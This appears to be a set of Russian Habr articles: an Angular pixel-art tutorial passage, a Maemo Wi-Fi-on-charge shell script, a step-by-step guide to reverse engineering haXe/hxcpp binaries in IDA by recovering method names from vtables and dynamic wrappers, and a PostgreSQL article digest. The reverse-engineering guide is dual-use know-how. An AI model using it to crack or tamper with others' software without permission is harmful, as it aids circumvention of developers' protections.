//import { CanvasPostService } from 'src/app/shared/services/canvas-post.service';
@Component({
selector: 'app-main-canvas',
templateUrl: './main-canvas.component.html',
styleUrls: ['./main-canvas.component.scss']
})
export class MainCanvasComponent implements OnInit {
uploadSuccess: EventEmitter = new EventEmitter();
canvasImgSuccess: EventEmitter = new EventEmitter();
//создаем эмиттер transferToDataCanvas
transferToDataCanvas: EventEmitter = new EventEmitter();
canvasImg: Observable | undefined;
constructor(private canvasPostService: CanvasPostService) { }
ngOnInit(): void {
this.canvasImg = this.canvasPostService.getComponent();
this.canvasPostService.getComponent().subscribe(respons => {
console.log(respons[0].image)
});
}
/\* Передаем данные из формы в канвас\*/
getDataPanel($event: FormGroup) {
const data = {
widthRect: Number($event.value.widthCanvas),
heightRect: Number($event.value.heightCanvas),
numberOf: Number($event.value.hwPixel),
borderRow: $event.value.meshThickness,
numberRow: Number($event.value.hwPixel) + Number($event.value.meshThickness),
innerWidth: Number($event.value.heightCanvas) \* (Number($event.value.hwPixel) + Number($event.value.meshThickness)),
innerHeight: Number($event.value.widthCanvas) \* (Number($event.value.hwPixel) + Number($event.value.meshThickness)),
colorfillStyle: $event.value.colorFone
}
this.uploadSuccess.emit(data);//передали
}
/\* Принимает данные из слайдера и перадет в канвас\*/
dataSlider(data: {}) {
console.log(data)
this.transferToDataCanvas.emit(data);//передали
}
/\* Принимает данные из панели и перадет в канвас\*/
pagesEventInMain(data: {}) {
this.transferToDataCanvas.emit(data);//передали
}
}
```
Проверяем, наш предварительно сохраненный рисунок по клику на рисунок, на панели Мои работы появляется новый холст. Отлично.
**Создаем TAB элемент.**
Сейчас наше приложение выглядит немного не эстетично.
Для придания более опрятного вида, реализуем Tab элемент куда перенесем Форму создания холста, Галерею примеров и Мои работы. Вот как это будет выглядеть:
Редактируем left-panel.component.html, что бы код в нем выглядел вот так:
```
Форма создания холста
Мои работы
Галерея примеров
**Форма создания
холста**
---
**Мои работы**
---
---
**Галерея примеров**
---
```
Добавляем метод управления вкладками openTab() **в left-panel.component.ts**
```
import { Component, ElementRef, EventEmitter, Input, OnInit, Output }
from '@angular/core';
import { FormGroup } from '@angular/forms';
import { Observable } from 'rxjs';
import { CanvasPostInterface }
from 'src/app/shared/interfaces/canvas-post.interface';
@Component({
selector: 'app-left-panel',
templateUrl: './left-panel.component.html',
styleUrls: ['./left-panel.component.scss']
})
export class LeftPanelComponent implements OnInit {
@Output() pagesEvent: EventEmitter =
new EventEmitter();
@Output() pagesEventLeftPanel: EventEmitter<{}> =
new EventEmitter<{}>();
@Input() imageInput: any;
canvasImg: any;
constructor(private elementRef: ElementRef) { }
ngOnInit(): void {
this.canvasImg = this.imageInput;//передали работы в слайдер
}
getData($event: FormGroup) {
this.pagesEvent.emit($event);
}
dataSlider(data: {}) {
this.pagesEventLeftPanel.emit(data);
//передали в main
}
/\*Добавили метод управления вкладками\*/
openTab(tabId: string) {
let i;
let element = this.elementRef.nativeElement
.getElementsByClassName("tab");
for (i = 0; i < element.length; i++) {
element[i].style.display = "none";
}
document.getElementById(tabId).style.display = "block";
}
}
```
Вот в принципе и все. Хотя, давайте в завершение еще реализуем небольшое улучшение дающее нам возможность убирать сетку. Для этого добавим новый метод resizePixel() в **canvas.component.ts**
canvas.component.ts
```
import { AfterViewInit, Component, ElementRef,
EventEmitter, Input, OnInit, Output, Renderer2, ViewChild }
from '@angular/core';
import { FormGroup } from '@angular/forms';
@Component({
selector: 'app-canvas',
templateUrl: './canvas.component.html',
styleUrls: ['./canvas.component.scss']
})
export class CanvasComponent implements AfterViewInit, OnInit {
@Output() pagesEventSave: EventEmitter<{}> =
new EventEmitter<{}>();
canvas: HTMLCanvasElement;
innerWidth: number;
innerHeight: number;
rendererRef: any;
numberRow: number;
numberOf = 10; //размер пикселя
borderRow = 1;
widthRect = 50;
heightRect = 50;
x = 0;
y = 0
canvasX: number // X click cordinates
canvasY: number // Y click cordinates
colorRect = '#242323';//цвет пикселя рисовалки
colorfillStyle = '#19a923';//цвет пикселя холста
matr = { innerWidth: 0, innerHeight: 0, numberOf: 10, backgroundColor: '#19a923', data: [{ x: 0, y: 0, color: '' }] }
name: string;
private ctx: CanvasRenderingContext2D | null;
@ViewChild('canvas') canvasRef: ElementRef;
@Input() uploadSuccess: EventEmitter;
@Input() transferToDataCanvas: EventEmitter<{}>;
constructor(private el: ElementRef,
private renderer: Renderer2,
) {
this.numberRow = this.numberOf + this.borderRow;
this.innerWidth = this.heightRect \* this.numberRow;
this.innerHeight = this.widthRect \* this.numberRow;
}
onResize(data: any) {
this.name = data.name;
this.innerWidth = data.innerWidth;
this.innerHeight = data.innerHeight;
this.widthRect = data.widthRect;
this.heightRect = data.heightRect;
this.numberOf = data.numberOf;
this.borderRow = data.borderRow;
this.numberRow = data.numberRow;
this.canvas.width = this.innerWidth;
this.canvas.height = this.innerHeight
this.colorfillStyle = data.colorfillStyle;
this.cleardraw()
this.draw()
}
ngOnInit(): void {
this.uploadSuccess.subscribe(data => {
this.onResize(data);
});
this.transferToDataCanvas.subscribe(data => {
this.createTtransferToDataCanvas(data);
});
}
ngAfterViewInit() {
this.canvas = this.canvasRef.nativeElement;
this.canvas.width = this.innerWidth;
this.canvas.height = this.innerHeight;
this.cleardraw()
this.draw();
const data = this.canvas?.toDataURL();
if (this.rendererRef != null) {
this.rendererRef();
}
this.rendererRef = this.renderer
.listen(this.canvasRef.nativeElement,
'click', (event: MouseEvent) => {
this.eventOfset(event)
});
this.rendererRef = this.renderer
.listen(this.canvasRef.nativeElement,
'mousemove', (event) => {
if (event.which !== 1) {
return;
}
this.eventOfset(event);
});
}
draw(): void {
this.matr.innerWidth = this.innerWidth;
this.matr.innerHeight = this.innerHeight;
this.matr.backgroundColor = this.colorfillStyle;
this.matr.numberOf = this.numberOf;
for (let i = 0; i < this.heightRect; i++) {
for (let j = 0; j < this.widthRect; j++) {
this.ctx.fillStyle = this.colorfillStyle;
this.ctx.fillRect(j \* this.numberRow, i \* this.numberRow,
this.numberOf, this.numberOf);
this.matr.data.push({ x: j \* this.numberRow,
y: i \* this.numberRow,
color: this.colorfillStyle })
}
}
}
cleardraw(): void {
this.ctx = this.canvas.getContext('2d');
this.ctx.clearRect(0, 0, this.widthRect, this.heightRect);
this.matr.data = [];
}
createFromLocalStorage(): void {
const retrievedObject = localStorage.getItem('matr');
this.matr = JSON.parse(retrievedObject);
this.matr.data.map(data => {
this.ctx.fillStyle = data.color;
this.ctx.fillRect(data.x, data.y, this.matr.numberOf,
this.matr.numberOf);
})
}
/\* Метод воссоздания рисуноков из базы \*/
createTtransferToDataCanvas(data: any): void {
this.cleardraw()
this.matr = JSON.parse(data);
const matr = JSON.parse(data);
this.canvas.width = matr.innerWidth;
this.canvas.height = matr.innerHeight;
this.innerWidth = matr.innerWidth;
this.innerHeight = matr.innerHeight;
JSON.parse(data).data.map((data: any) => {
this.ctx.fillStyle = data.color;
this.ctx.fillRect(data.x, data.y, this.matr.numberOf,
this.matr.numberOf);
})
}
/\* изменить размер пикселя \*/
resizePixel(): void {
this.matr.data.map(data => {
this.ctx.fillStyle = data.color;
this.ctx.fillRect(data.x, data.y, this.matr.numberOf + 1,
this.matr.numberOf + 1);
})
}
/\* задаем цвет фону \*/
clearPixel(): void {
this.colorRect = this.matr.backgroundColor
}
/\* сохраняем \*/
save(): void {
const data = this.canvas?.toDataURL();
this.pagesEventSave.emit({ image: data, name: this.name,
canvas: JSON.stringify(this.matr) });
}
/\* функция рисования \*/
eventOfset(event: MouseEvent): void {
let cX = event.offsetX;
let cY = event.offsetY;
const offsetLeft = this.canvasRef.nativeElement.offsetLeft;
const offsetTop = this.canvasRef.nativeElement.offsetTop;
this.canvasX = cX - offsetLeft;
this.canvasY = cY - offsetTop;
this.matr.data.map(data => {
if (cX >= data.x && cX < data.x + this.numberOf && cY >= data.y
&& cY < data.y + this.numberOf) {
this.ctx.fillStyle = this.colorRect;
this.ctx.fillRect(data.x, data.y, this.numberOf, this.numberOf);
data.color = this.colorRect;
}
})
this.canvasRef.nativeElement.getBoundingClientRect()
localStorage.setItem('matr', JSON.stringify(this.matr));
const data = this.canvas?.toDataURL();
}
}
```
примет следующий вид:
Создадим кнопку по нажатию на которую будет убиратся сетка в **canvas.component.html** после чего его код будет выглядеть так:
```
Востановить рисунок
Задать пикселю цвет фона
Сохранить в галерею
Убрать сетку
```
Проверяем, нажимаем на кнопку **Убрать сетку**
сетка пропала, и наш слоник выглядит абсолютно по другому,
все работает.
Поскольку часто приходится работать сразу с несколькими проектами, давайте внесем изменения для запуска нашего приложения на порте 4300, для этого в **angular.json** внесем такие вот изменения:
```
"defaultConfiguration": "production"
},
"serve": {
"options": {
"port": 4300
},
"builder": "@angular-devkit/build-angular:dev-server",
```
Примечание, проект запускается на 4300 порту. На сегодня все. [Продолжение.](https://habr.com/ru/post/648881/)
[Демо](https://art-pixel.jdymora.com/), [git](https://github.com/Gdymora/pixel-art) | https://habr.com/ru/post/648619/ | null | ru | null |
# Пишем простое, но полезное приложение для Nokia N900 за 20 минут
Приветствую, уважаемый хабраюзер!
В данной заметке я расскажу об интересных свойствах операционной системы Maemo с точки зрения
системного администратора Unix. Цель заметки — показать удобство написания приложений под данную ОС.
Писать приложение мы будем на Shell. А почему бы и нет? — ведь для Maemo это родная среда!
В качестве примера хочу привести shell-скрипт, решающий простую задачу: *автоматическое подключение к домашней точке доступа Wi-Fi при зарядке телефона*. Этот скрипт может пригодиться тем, кто любит вешать на телефон различные задачи на ночь: например, обновление RSS-каналов, синхронизация с Google-календарем, обновление софта, и т.д.
##### Open Source
Чтобы не быть голословным, приведу сразу весь скрипт:
```
#!/bin/sh
############ КОНФИГ #############################
# Время "спячки" скрипта между попытками (в секундах)
sleeptime=60
# id вашей сети. Узнать можно командой gconftool -R /system/osso/connectivity/IAP
WIFI_ID="56b4d822-edd4-4692-baf2-25b0711d1e7b"
#
#################################################
temp=1
# Начинаем бесконечный цикл
while [ $temp = "1" ]; do
# узнаем статус зарядки - connected или disconnected
status=`hal-get-property --udi /org/freedesktop/Hal/devices/bme --key maemo.charger.connection_status`
if [ $status = "connected" ]; then
echo "Charger found! Trying to connect to home wifi..."
# Подключаемся
dbus-send --system --print-reply --type=method_call --dest=com.nokia.icd /com/nokia/icd com.nokia.icd.connect string:"$WIFI_ID" uint32:0
#
fi
#спим
sleep $sleeptime
done
#
#### КОНЕЦ ####
```
##### Как это работает?
Хотелось бы остановиться на двух строчках:
1. ```
status=`hal-get-property --udi /org/freedesktop/Hal/devices/bme --key maemo.charger.connection_status`
```
Данная команда использует [HAL](http://ru.wikipedia.org/wiki/HAL_%28freedesktop.org%29) чтобы узнать подключена ли подзарядка к телефону. Необходимый udi я узнал, кажется, [здесь](http://wiki.maemo.org/Batteries), а нужный ключ командой
```
lshal | grep charge
```
2. ```
dbus-send --system --print-reply --type=method_call --dest=com.nokia.icd /com/nokia/icd com.nokia.icd.connect string:"$WIFI_ID" uint32:0
```
Здесь мы подключаемся к [D-Bus](http://ru.wikipedia.org/wiki/D-Bus) и посылаем запрос на подключение к сохраненной точке доступа. Команду можно найти в очень полезном для новичков мануале [Phone Control](http://wiki.maemo.org/Phone_control) официальной Wiki Maemo.
Думаю, касательно остальной части скрипта вопросов возникать не должно.
##### Установка
Далее, необходимо заставить работать скрипт постоянно в фоне и добавить в «автозапуск»:
* Даем скрипту имя wifi-on-charge.sh и помещаем в /usr/bin/
* Даем права на исполнение: chmod +x /usr/bin/wifi-on-charge.sh
* Создаем скрипт для запуска (не уверен, что оптимальный вариант, но я делаю так):
```
#!/bin/sh
/usr/bin/nohup /usr/bin/wifi-on-charge.sh > /dev/null 2>&1 &
```
* Даем права на исполнение chmod +x /usr/bin/run-wifi-on-charge.sh
* В директории /etc/event.d создаем текстовый файл wifi-on-charge с содержанием:
```
#
start on started hildon-desktop
exec /usr/bin/run-wifi-on-charge.sh
#
```
* Перезагружаем аппарат, проверяем: после вставки кабеля подзарядки в течении 60 секунд должно произойти подключение к Wi-Fi
##### Заключение
В заметке показан один из простых способов добавления приятных фич в свой N900. Данный скрипт не дописан: он плохо себя ведет, если рядом нет домашней точки доступа. Но данная проблема легко решается, если вы полны энтузиазма и владеете основами программирования. ;)
Надеюсь, данная заметка поможет новичкам в мире Maemo сделать первый шаг к написанию своей полезной утилиты.
В следующий раз я расскажу о том, как писал приложение [Outcoming Call Vibro](http://maemo.org/downloads/product/Maemo5/out-call-vibro/).
**Ссылки:**
— [Phone Control](http://wiki.maemo.org/Phone_control)
— [D-Bus Scripts](http://wiki.maemo.org/DbusScripts) | https://habr.com/ru/post/125404/ | null | ru | null |
# Ломаем хаКс полностью. Читаем машинные коды как открытую книгу
[](https://habrastorage.org/web/3f4/29f/fbf/3f429ffbff974842a7656d2521c9f2db.png)Если haXe оттранслирован в C++, а из него — в машинные коды, это может показаться безнадёжным, тем более, на первый взгляд этот код пестрит вызовами виртуальных методов, которые, не запуская отладчик, трудно соотнести с адресами тел методов.
Но всё не так уж плохо. Даже при отключенной поддержке сценариев (HXCPP\_SCRIPTABLE) в файле можно обнаружить строки с названиями методов и полей. Разбираем, как можно размотать этот клубок, сопоставить имена методов с их адресами и смещениями в таблице виртуальных методов.
Немного теории
--------------
После трансляции в C++ все классы haXe наследуются от hx.Object (определён в [hxcpp/include/hx/Object.h](https://github.com/HaxeFoundation/hxcpp/blob/master/include/hx/Object.h)). Особый интерес представляют следующие методы:
```
virtual Dynamic __Field(const String &inString, hx::PropertyAccess inCallProp);
virtual Dynamic __SetField(const String &inField,const Dynamic &inValue, hx::PropertyAccess inCallProp);
```
Эти методы переопределяются в классах, оттранслированных в C++, и реализация их везде выглядит примерно так:
**src/openfl/geom/Matrix.cpp**
```
Dynamic Matrix_obj::__Field(const ::String &inName,hx::PropertyAccess inCallProp)
{
switch(inName.length) {
case 1:
if (HX_FIELD_EQ(inName,"a") ) { return a; }
if (HX_FIELD_EQ(inName,"b") ) { return b; }
if (HX_FIELD_EQ(inName,"c") ) { return c; }
if (HX_FIELD_EQ(inName,"d") ) { return d; }
break;
case 2:
if (HX_FIELD_EQ(inName,"tx") ) { return tx; }
if (HX_FIELD_EQ(inName,"ty") ) { return ty; }
break;
case 5:
if (HX_FIELD_EQ(inName,"clone") ) { return clone_dyn(); }
if (HX_FIELD_EQ(inName,"scale") ) { return scale_dyn(); }
if (HX_FIELD_EQ(inName,"setTo") ) { return setTo_dyn(); }
break;
case 6:
if (HX_FIELD_EQ(inName,"concat") ) { return concat_dyn(); }
if (HX_FIELD_EQ(inName,"equals") ) { return equals_dyn(); }
if (HX_FIELD_EQ(inName,"invert") ) { return invert_dyn(); }
if (HX_FIELD_EQ(inName,"rotate") ) { return rotate_dyn(); }
break;
case 7:
if (HX_FIELD_EQ(inName,"__array") ) { return __array; }
if (HX_FIELD_EQ(inName,"toArray") ) { return toArray_dyn(); }
break;
case 8:
if (HX_FIELD_EQ(inName,"copyFrom") ) { return copyFrom_dyn(); }
if (HX_FIELD_EQ(inName,"identity") ) { return identity_dyn(); }
if (HX_FIELD_EQ(inName,"toString") ) { return toString_dyn(); }
break;
case 9:
if (HX_FIELD_EQ(inName,"copyRowTo") ) { return copyRowTo_dyn(); }
if (HX_FIELD_EQ(inName,"createBox") ) { return createBox_dyn(); }
if (HX_FIELD_EQ(inName,"translate") ) { return translate_dyn(); }
break;
case 10:
if (HX_FIELD_EQ(inName,"to3DString") ) { return to3DString_dyn(); }
break;
case 11:
if (HX_FIELD_EQ(inName,"copyRowFrom") ) { return copyRowFrom_dyn(); }
if (HX_FIELD_EQ(inName,"setRotation") ) { return setRotation_dyn(); }
if (HX_FIELD_EQ(inName,"toMozString") ) { return toMozString_dyn(); }
if (HX_FIELD_EQ(inName,"__toMatrix3") ) { return __toMatrix3_dyn(); }
break;
case 12:
if (HX_FIELD_EQ(inName,"copyColumnTo") ) { return copyColumnTo_dyn(); }
if (HX_FIELD_EQ(inName,"__transformX") ) { return __transformX_dyn(); }
if (HX_FIELD_EQ(inName,"__transformY") ) { return __transformY_dyn(); }
break;
case 13:
if (HX_FIELD_EQ(inName,"__cleanValues") ) { return __cleanValues_dyn(); }
break;
case 14:
if (HX_FIELD_EQ(inName,"copyColumnFrom") ) { return copyColumnFrom_dyn(); }
if (HX_FIELD_EQ(inName,"transformPoint") ) { return transformPoint_dyn(); }
break;
case 16:
if (HX_FIELD_EQ(inName,"__transformPoint") ) { return __transformPoint_dyn(); }
break;
case 17:
if (HX_FIELD_EQ(inName,"createGradientBox") ) { return createGradientBox_dyn(); }
break;
case 19:
if (HX_FIELD_EQ(inName,"deltaTransformPoint") ) { return deltaTransformPoint_dyn(); }
if (HX_FIELD_EQ(inName,"__transformInverseX") ) { return __transformInverseX_dyn(); }
if (HX_FIELD_EQ(inName,"__transformInverseY") ) { return __transformInverseY_dyn(); }
break;
case 22:
if (HX_FIELD_EQ(inName,"__translateTransformed") ) { return __translateTransformed_dyn(); }
break;
case 23:
if (HX_FIELD_EQ(inName,"__transformInversePoint") ) { return __transformInversePoint_dyn(); }
}
return super::__Field(inName,inCallProp);
}
```
Как можно видеть, полями в понимании транслятора хаКс оказывается не только то, что обычно считается полями, но и методы тоже, правда, в динамических обёртках, из которых их ещё предстоит вытащить.
Подготовка
----------
Соответственно, начинать стоит с того, чтобы найти метод \_\_Field. Например, в него можно попасть по обратной ссылке на строку с именем метода. Если почитать, какие в файле есть строки, то по обратным ссылкам можно попасть, например, в \_\_ToString или RTTI. Из них по обратной ссылке надо перейти в VMT. Если строка является именем поля, то вместо \_\_Field можно попасть в похожий метод \_\_SetField, который хуже подходит, так как там нет ссылок на динамические обёртки для методов. Находясь в VMT, открываем переопределённые методы (выделяются по адресам) и ищем, какие из них похожи на \_\_Field (видно большой switch в начале):
**Начало \_\_Field**
```
.text:010B3DB8 var_30 = -0x30
.text:010B3DB8 var_2C = -0x2C
.text:010B3DB8 var_28 = -0x28
.text:010B3DB8 var_20 = -0x20
.text:010B3DB8
.text:010B3DB8 PUSH.W {R4-R9,LR}
.text:010B3DBC SUB SP, SP, #0x14
.text:010B3DBE MOV R7, R2
.text:010B3DC0 MOV R4, R0
.text:010B3DC2 LDR R0, [R7]
.text:010B3DC4 MOV R9, R3
.text:010B3DC6 MOV R5, R1
.text:010B3DC8 SUBS R0, #4 ; switch 28 cases
.text:010B3DCA CMP R0, #0x1B
.text:010B3DCC BHI.W def_10B3DD0 ; jumptable 010B3DD0 default case
.text:010B3DD0 TBH.W [PC,R0,LSL#1] ; switch jump
.text:010B3DD0 ; ---------------------------------------------------------------------------
.text:010B3DD4 jpt_10B3DD0 DCW 0x1C ; jump table for switch statement
.text:010B3DD6 DCW 0x35
```
**Начало \_\_SetField**
```
.text:010B48DC var_38 = -0x38
.text:010B48DC var_30 = -0x30
.text:010B48DC var_28 = -0x28
.text:010B48DC var_24 = -0x24
.text:010B48DC var_20 = -0x20
.text:010B48DC arg_0 = 0
.text:010B48DC
.text:010B48DC PUSH.W {R4-R9,LR}
.text:010B48E0 SUB SP, SP, #0x1C
.text:010B48E2 MOV R7, R2
.text:010B48E4 MOV R8, R0
.text:010B48E6 LDR R0, [R7]
.text:010B48E8 MOV R6, R3
.text:010B48EA LDR R5, [SP,#0x38+arg_0]
.text:010B48EC MOV R9, R1
.text:010B48EE SUBS R0, #6 ; switch 13 cases
.text:010B48F0 CMP R0, #0xC
.text:010B48F2 BHI.W def_10B48F6 ; jumptable 010B48F6 default case
.text:010B48F6 TBH.W [PC,R0,LSL#1] ; switch jump
.text:010B48F6 ; ---------------------------------------------------------------------------
.text:010B48FA jpt_10B48F6 DCW 0xD ; DATA XREF: .text:01329970↓o
.text:010B48FA ; jump table for switch statement
.text:010B48FC DCW 0x25
```
\_\_Field в таблице виртуальных методов идёт раньше, чем \_\_SetField, и вариантов там обычно меньше. В данном примере 13 против 28.
Первый этап: ищем динамические обёртки
--------------------------------------
Когда найдены оба метода, нужно зайти в \_\_Field, смотреть, куда идёт ветвление после 0 == memcmp и давать имена обёрткам. Попадаться при этом могут как обычные поля, так и обёртки. Научиться отличать их несложно, вот пример сначала обычного поля, потом динамической обёртки для метода:
```
.text:010B44B0 loc_10B44B0 ; CODE XREF: __Field+16A↑j
.text:010B44B0 LDR R0, [R5,#0x20]
.text:010B44B2 B loc_10B4582
.text:010B44B4 ; ---------------------------------------------------------------------------
.text:010B44B4
.text:010B44B4 loc_10B44B4 ; CODE XREF: __Field+1B0↑j
.text:010B44B4 LDR R2, =(get_error_dyn+1 - 0x10B44BA)
.text:010B44B6 ADD R2, PC ; get_error_dyn
.text:010B44B8 B loc_10B44D2
```
Встречалась, но не в этом файле, такая проблема, что указатели на обёртки не распознаются. Выглядит это как аномально большой целочисленный операнд оранжевого цвета. Через Ctrl+R его надо в IDA сделать смещением.
Второй этап: самые простые случаи
---------------------------------
Для начала посмотрим, как вообще после трансляции в C++ расположены методы и обёртки для них:
**src/openfl/geom/Matrix.cpp**
```
// …
::lime::math::Matrix3 Matrix_obj::__toMatrix3( ){
HX_STACK_FRAME("openfl.geom.Matrix","__toMatrix3",0xaf6ed17e,"openfl.geom.Matrix.__toMatrix3","openfl/geom/Matrix.hx",480,0xa0d54189)
HX_STACK_THIS(this)
HX_STACK_LINE(482)
Float tmp = this->a; HX_STACK_VAR(tmp,"tmp");
HX_STACK_LINE(482)
Float tmp1 = this->b; HX_STACK_VAR(tmp1,"tmp1");
HX_STACK_LINE(482)
Float tmp2 = this->c; HX_STACK_VAR(tmp2,"tmp2");
HX_STACK_LINE(482)
Float tmp3 = this->d; HX_STACK_VAR(tmp3,"tmp3");
HX_STACK_LINE(482)
Float tmp4 = this->tx; HX_STACK_VAR(tmp4,"tmp4");
HX_STACK_LINE(482)
Float tmp5 = this->ty; HX_STACK_VAR(tmp5,"tmp5");
HX_STACK_LINE(482)
::lime::math::Matrix3 tmp6 = ::lime::math::Matrix3_obj::__new(tmp,tmp1,tmp2,tmp3,tmp4,tmp5); HX_STACK_VAR(tmp6,"tmp6");
HX_STACK_LINE(482)
return tmp6;
}
HX_DEFINE_DYNAMIC_FUNC0(Matrix_obj,__toMatrix3,return )
Void Matrix_obj::__transformInversePoint( ::openfl::geom::Point point){
{
HX_STACK_FRAME("openfl.geom.Matrix","__transformInversePoint",0xde42fb73,"openfl.geom.Matrix.__transformInversePoint","openfl/geom/Matrix.hx",487,0xa0d54189)
// …
```
Видно, что идёт сначала тело метода, потом макросом конструируется динамическая обёртка, потом следующий метод, потом динамическая обёртка для него и так далее. Поскольку обёрткам имена на первом этапе дали, а собственно методам — ещё нет, в списке подпрограмм IDA должна получиться «полосатая» картина, когда именованные подпрограммы перемежаются с именованными.
Это не вполне так, но на этом этапе нужно обработать только самые очевидные случаи — когда между динамическими обёртками ровно одна подпрограмма, и, скорее всего, это и есть метод. Ему даётся имя по обёртке, которая ниже него.
Осторожно: попадались случаи, но не в этом файле, когда IDA не распознавала тело метода как подпрограмму, зато распознавала что-то вспомогательное, идущее после метода. На настоящий метод идёт обратная ссылка из VMT.
Третий этап: когда между обёртками две подпрограммы
---------------------------------------------------
Динамические обёртки создаются [макросом, который выглядит так](https://github.com/HaxeFoundation/hxcpp/blob/master/include/hx/Macros.h):
```
#define HX_DEFINE_DYNAMIC_FUNC0(class,func,ret) \
::Dynamic __##class##func(hx::Object *inObj) \
{ \
ret reinterpret_cast(inObj)->func(); return ::Dynamic(); \
}; \
::Dynamic class::func##\_dyn() \
{\
return hx::CreateMemberFunction0(this,\_\_##class##func); \
}
```
Как можно видеть, обёрток здесь создаётся сразу две, типизированная и нетипизированная, но типизированная обычно выбрасывается транслятором C++ за ненадобностью. Если между динамическими обёртками сразу две безымянных подпрограммы, то, скорее всего, первая из них — это нужный метод, а вторая — типизированная обёртка.
К началу третьего этапа большая часть методов уже должна быть проименована, так что если смотреть из VMT, то это будут одиночные пробелы, и на данном этапе они устраняются.
Четвёртый этап: закрываем большие пробелы в VMT
-----------------------------------------------
Бывает, остаются большие пробелы в VMT, по два и более метода. В очередной раз можно отметить удобство взгляда из VMT. Так, если при обходе \_\_Field упустить один метод, он будет выглядеть в списке подпрограмм IDA как три безымянные подпрограммы между динамическими обёртками, но хаКс может генерировать дополнительные подпрограммы и для других нужд, и тогда тоже может получаться три безымянные подпрограммы между динамическими обёртками.
Из VMT же видно: если пробел из двух элементов, значит, это упущенная динамическая обёртка в \_\_Field. Находим в списке подпрограмм, где этот пробел, переходим к средней подпрограмме, это должна быть обёртка. С помощью X открываем список обратных ссылок, среди них должен быть \_\_Field. Переходим туда, выясняем имя обёртки, пробел в списке подпрограмм «затягивается» полосой, и дальше по описанному алгоритму проставляем имена методов.
Методы hx.Object
----------------
Для полноты можно открыть [hxcpp/include/hx/Object.h](https://github.com/HaxeFoundation/hxcpp/blob/master/include/hx/Object.h), выписать оттуда все виртуальные методы по порядку, и так идентифицировать методы в начале VMT.
Определение типов данных полей и аргументов
-------------------------------------------
Когда у полей и аргументов вызываются методы (как и все, виртуальные), надо понять, в какой VMT их искать, а для этого надо понять, каких вообще они типов. Если не запускать отладчик, помогают это сделать динамические обёртки. На вход они получают аргументы формальных типов (Dynamic, Dynamic, Dynamic, … ) и, чтобы сделать вызов, они сначала приводят Dynamic к реальному ожидаемому методом типу. Во время этого преобразования как раз можно и узнать эти самые типы.
Например, если в теле обёртки видим:
```
.text:010B3884 LDR R1, =(off_23DE1D4 - 0x10B388E)
.text:010B3886 MOVS R3, #0
.text:010B3888 LDR R2, =(off_23E04A0 - 0x10B3890)
.text:010B388A ADD R1, PC ; off_23DE1D4
.text:010B388C ADD R2, PC ; off_23E04A0
.text:010B388E LDR R1, [R1] ; hx_Object_ci
.text:010B3890 LDR R2, [R2] ; off_22D9DE0
.text:010B3892 BLX.W __dynamic_cast
```
…то видно, что делается приведение из hx.Object во что-то другое. Если hx\_Obejct\_ci у вас ещё не идентифицирован, то оба класса будут неизвестные, но это решаемо. Смотрим, в чей RTTI ведут указатели (в данном примере off\_22D9DE0), проставляем имена, делаем выводы.
Аналогично для полей пригождается \_\_SetField, который вынужден приводить тип от Dynamic к реальному типу поля, тем самым давая подсказку.
Статические поля и методы
-------------------------
Если у класса есть статические элементы, у него переопределяются статические методы \_\_GetStatic и/или \_\_SetStatic. В VMT их по понятным причинам не видно, но если в классе есть одновременно и статические, и обычные элементы, то в транслированном коде идут по порядку \_\_Field, \_\_GetStatic, \_\_SetField, \_\_SetStatic, так что, зная, где \_\_Field и \_\_SetField, можно вычислить \_\_GetStatic и \_\_SetStatic рядом с ними. Там так же в начале switch по длине строки, и затем операции сравнения.
Скринкаст
---------
00:00 Находим \_\_Field и \_\_SetField
03:00 Первый этап: ищем динамические обёртки
21:30 Второй этап: самые простые случаи
30:48 Третий этап: когда между обёртками две подпрограммы
33:15 Четвёртый этап: закрываем большие пробелы в VMT
49:00 Методы hx.Object | https://habr.com/ru/post/335970/ | null | ru | null |
# PostgreSQL в «Тензоре» — публикации за год
Ровно год назад с [рассказа о нашем сервисе визуализации планов запросов](https://habr.com/ru/post/477624/) мы начали публикацию на Хабре серии статей, посвященных работе с PostgreSQL и его особенностям. Это уже пройденные нами **«грабли», интересные наработки, накопившиеся рекомендации**, применяемые в разработке [«Тензора»](https://tensor.ru/) — те вещи, которые помогают нам делать [СБИС](https://sbis.ru/) более эффективным.
[СБИС](https://sbis.ru/all_services) — это система полного цикла управления бизнесом — от кадрового учета, бухгалтерии, делопроизводства и налоговой отчетности, до таск-менеджмента, корпоративного портала и видеокоммуникаций. Поэтому каждый из **1 500 000 клиентов-организаций** находит что-то полезное для себя и использует наши сервисы на постоянной основе — что дает ежемесячно более миллиона активных клиентов.
И все их данные надо где-то хранить и эффективно извлекать. Поэтому еще в далеком 2012 году мы сделали ставку на **PostgreSQL**, и теперь это основное хранилище данных наших сервисов:
* почти **9000 баз** общим объемом **1PB**
* свыше **200TB** данных клиентов
* **1500 разработчиков** работают с БД
Чтобы упорядочить накопившиеся знания, за минувший год мы опубликовали **более 60 статей**, в которых делимся своим реальным опытом, проверенным практикой «сурового энтерпрайза». Возможно, какие-то из них вы пропустили, поэтому под катом мы собрали дайджест, где каждый разработчик и DBA найдет что-то интересное для себя.
Для удобства все статьи разбиты на несколько циклов:
* **Анализ запросов**
Наглядно демонстрируем все тайны `EXPLAIN [ANALYZE]`.
* **SQL Antipatterns и оптимизация SQL**
Понимаем как [не] надо решать те или иные задачи в PostgreSQL и почему.
* **SQL HowTo**
Пробуем подходы к реализации сложных алгоритмов на SQL для развлечения и с пользой.
* **DBA**
Присматриваем за базой, чтобы ей легко дышалось.
* **Прикладные решения**
Решаем с помощью PostgreSQL конкретные бизнес-задачи.
---
Анализ запросов в PostgreSQL
----------------------------
Первое, чему необходимо научиться для разработки эффективных запросов — это оценивать их «ресурсоемкость». Для этого мы разработали и выложили в публичный доступ удобный сервис визуализации планов [explain.tensor.ru](https://explain.tensor.ru/).
26.11 — [**О чем молчит EXPLAIN, и как его разговорить**](/ru/post/477624/) (**+38**, ✓128)
**...**
> Классический вопрос, с которым разработчик приходит к своему DBA или владелец бизнеса — к консультанту по PostgreSQL, почти всегда звучит одинаково: *«Почему запросы выполняются на базе так долго?»*
>
> …
>
> Но, как сказано в той же документации, «Понимание плана — это искусство, и чтобы овладеть им, нужен определённый опыт, …» Но можно обойтись и без него, если воспользоваться **подходящим инструментом**!
11.02 — [**Массовая оптимизация запросов PostgreSQL**](/ru/post/487380/) ([видео](https://youtu.be/5XKbFb-l5Do)) (**+28**, ✓131)
**...**
> В докладе представлены некоторые подходы, которые позволяют **следить за производительностью SQL-запросов, когда их миллионы в сутки**, а контролируемых серверов PostgreSQL — сотни.
>
>
>
